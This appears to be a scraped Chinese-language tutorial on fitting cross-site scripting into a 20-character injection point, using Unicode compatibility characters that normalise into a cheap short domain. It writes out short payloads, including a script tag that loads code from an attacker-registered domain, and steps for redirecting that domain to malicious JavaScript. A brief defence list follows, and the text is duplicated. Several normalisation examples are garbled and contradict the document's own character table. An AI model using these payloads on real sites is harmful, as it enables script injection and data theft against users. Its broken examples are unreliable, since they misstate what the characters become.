Exploiting XSS with 20 characters limitation
字数 1301 2025-08-25 22:58:55

突破20字符限制的XSS攻击技术:利用Unicode兼容性

1. 背景与问题概述

跨站点脚本(XSS)攻击是Web渗透测试中最常见的漏洞之一,但常面临注入点字符限制的问题。本文介绍如何利用Unicode兼容性特性来突破20字符限制,实现有效的XSS攻击。

2. Unicode兼容性原理

Unicode标准包含两种等价处理方式:

  1. 规范等价性:外形相同且含义相同的字符序列(如n
  2. 兼容等价性:外形可能不同但在某些情况下含义相同的字符(如等价于ff

3. 基础短Payload

最基本的20字符内XSS payload:

<svg/onload=alert``>

但此payload功能有限,仅能实现简单弹窗。

4. 加载外部JS文件的挑战

理想情况下,我们希望加载外部JS文件:

<script src=//aa.es>

但面临两个问题:

  1. 短域名可能已被注册
  2. 短域名价格昂贵

5. Unicode字符利用技术

浏览器对某些Unicode字符具有兼容性解析特性,例如:

Unicode字符 解析结果 示例域名
ff ffff.pw → ff.pw
sm ℠℠ → sm
sr ㏛㏛㏛ → sr
st stst → st
rad ㎭㎭ → rad
tel ℡℡ → tel

6. 实际应用案例

注册telsr.pw域名(仅花费1.28美元),使用以下payload:

<script src=//℡℡㏛㏛㏛.pw>

解析过程:

  • 原始:℡℡㏛㏛㏛.pw(8字符)
  • 解析后:telsr.pw(8字符)

7. 攻击实施步骤

  1. 触发XSS:受害者访问包含payload的页面
  2. 加载资源:浏览器尝试加载telsr.pw内容
  3. 重定向:DNS或服务器重定向到恶意JS文件(如xsshunter.com)
  4. 执行攻击:加载并执行恶意JS代码

8. HTTPS环境解决方案

在HTTPS环境下直接DNS重定向会导致SSL证书不匹配问题,解决方案:

  1. 购买主机:如Namecheap最便宜方案(1.44美元/月)
  2. 设置HTTPS证书:第一年免费
  3. 配置服务器重定向:在控制面板设置重定向到恶意JS文件位置
  4. 执行攻击:服务器重定向不会导致证书错误

9. 参考资源

  1. Unicode字符规范化图表:https://www.unicode.org/charts/normalization/
  2. Unicode字符解析查看:https://www.compart.com/en/unicode/U+2121

10. 防御建议

  1. 严格过滤输入中的Unicode兼容字符
  2. 实施内容安全策略(CSP)
  3. 对输出进行适当的编码和转义
  4. 限制外部资源加载
  5. 使用Subresource Integrity检查外部脚本

通过理解这些技术,安全人员可以更好地测试和防御此类高级XSS攻击。

突破20字符限制的XSS攻击技术:利用Unicode兼容性 1. 背景与问题概述 跨站点脚本(XSS)攻击是Web渗透测试中最常见的漏洞之一,但常面临注入点字符限制的问题。本文介绍如何利用Unicode兼容性特性来突破20字符限制,实现有效的XSS攻击。 2. Unicode兼容性原理 Unicode标准包含两种等价处理方式: 规范等价性 :外形相同且含义相同的字符序列(如 n ) 兼容等价性 :外形可能不同但在某些情况下含义相同的字符(如 ff 等价于 ff ) 3. 基础短Payload 最基本的20字符内XSS payload: 但此payload功能有限,仅能实现简单弹窗。 4. 加载外部JS文件的挑战 理想情况下,我们希望加载外部JS文件: 但面临两个问题: 短域名可能已被注册 短域名价格昂贵 5. Unicode字符利用技术 浏览器对某些Unicode字符具有兼容性解析特性,例如: | Unicode字符 | 解析结果 | 示例域名 | |------------|---------|---------| | ff | ff | ffff.pw → ff.pw | | ℠ | sm | ℠℠ → sm | | ㏛ | sr | ㏛㏛㏛ → sr | | st | st | stst → st | | ㎭ | rad | ㎭㎭ → rad | | ℡ | tel | ℡℡ → tel | 6. 实际应用案例 注册 telsr.pw 域名(仅花费1.28美元),使用以下payload: 解析过程: 原始: ℡℡㏛㏛㏛.pw (8字符) 解析后: telsr.pw (8字符) 7. 攻击实施步骤 触发XSS :受害者访问包含payload的页面 加载资源 :浏览器尝试加载 telsr.pw 内容 重定向 :DNS或服务器重定向到恶意JS文件(如xsshunter.com) 执行攻击 :加载并执行恶意JS代码 8. HTTPS环境解决方案 在HTTPS环境下直接DNS重定向会导致SSL证书不匹配问题,解决方案: 购买主机 :如Namecheap最便宜方案(1.44美元/月) 设置HTTPS证书 :第一年免费 配置服务器重定向 :在控制面板设置重定向到恶意JS文件位置 执行攻击 :服务器重定向不会导致证书错误 9. 参考资源 Unicode字符规范化图表:https://www.unicode.org/charts/normalization/ Unicode字符解析查看:https://www.compart.com/en/unicode/U+2121 10. 防御建议 严格过滤输入中的Unicode兼容字符 实施内容安全策略(CSP) 对输出进行适当的编码和转义 限制外部资源加载 使用Subresource Integrity检查外部脚本 通过理解这些技术,安全人员可以更好地测试和防御此类高级XSS攻击。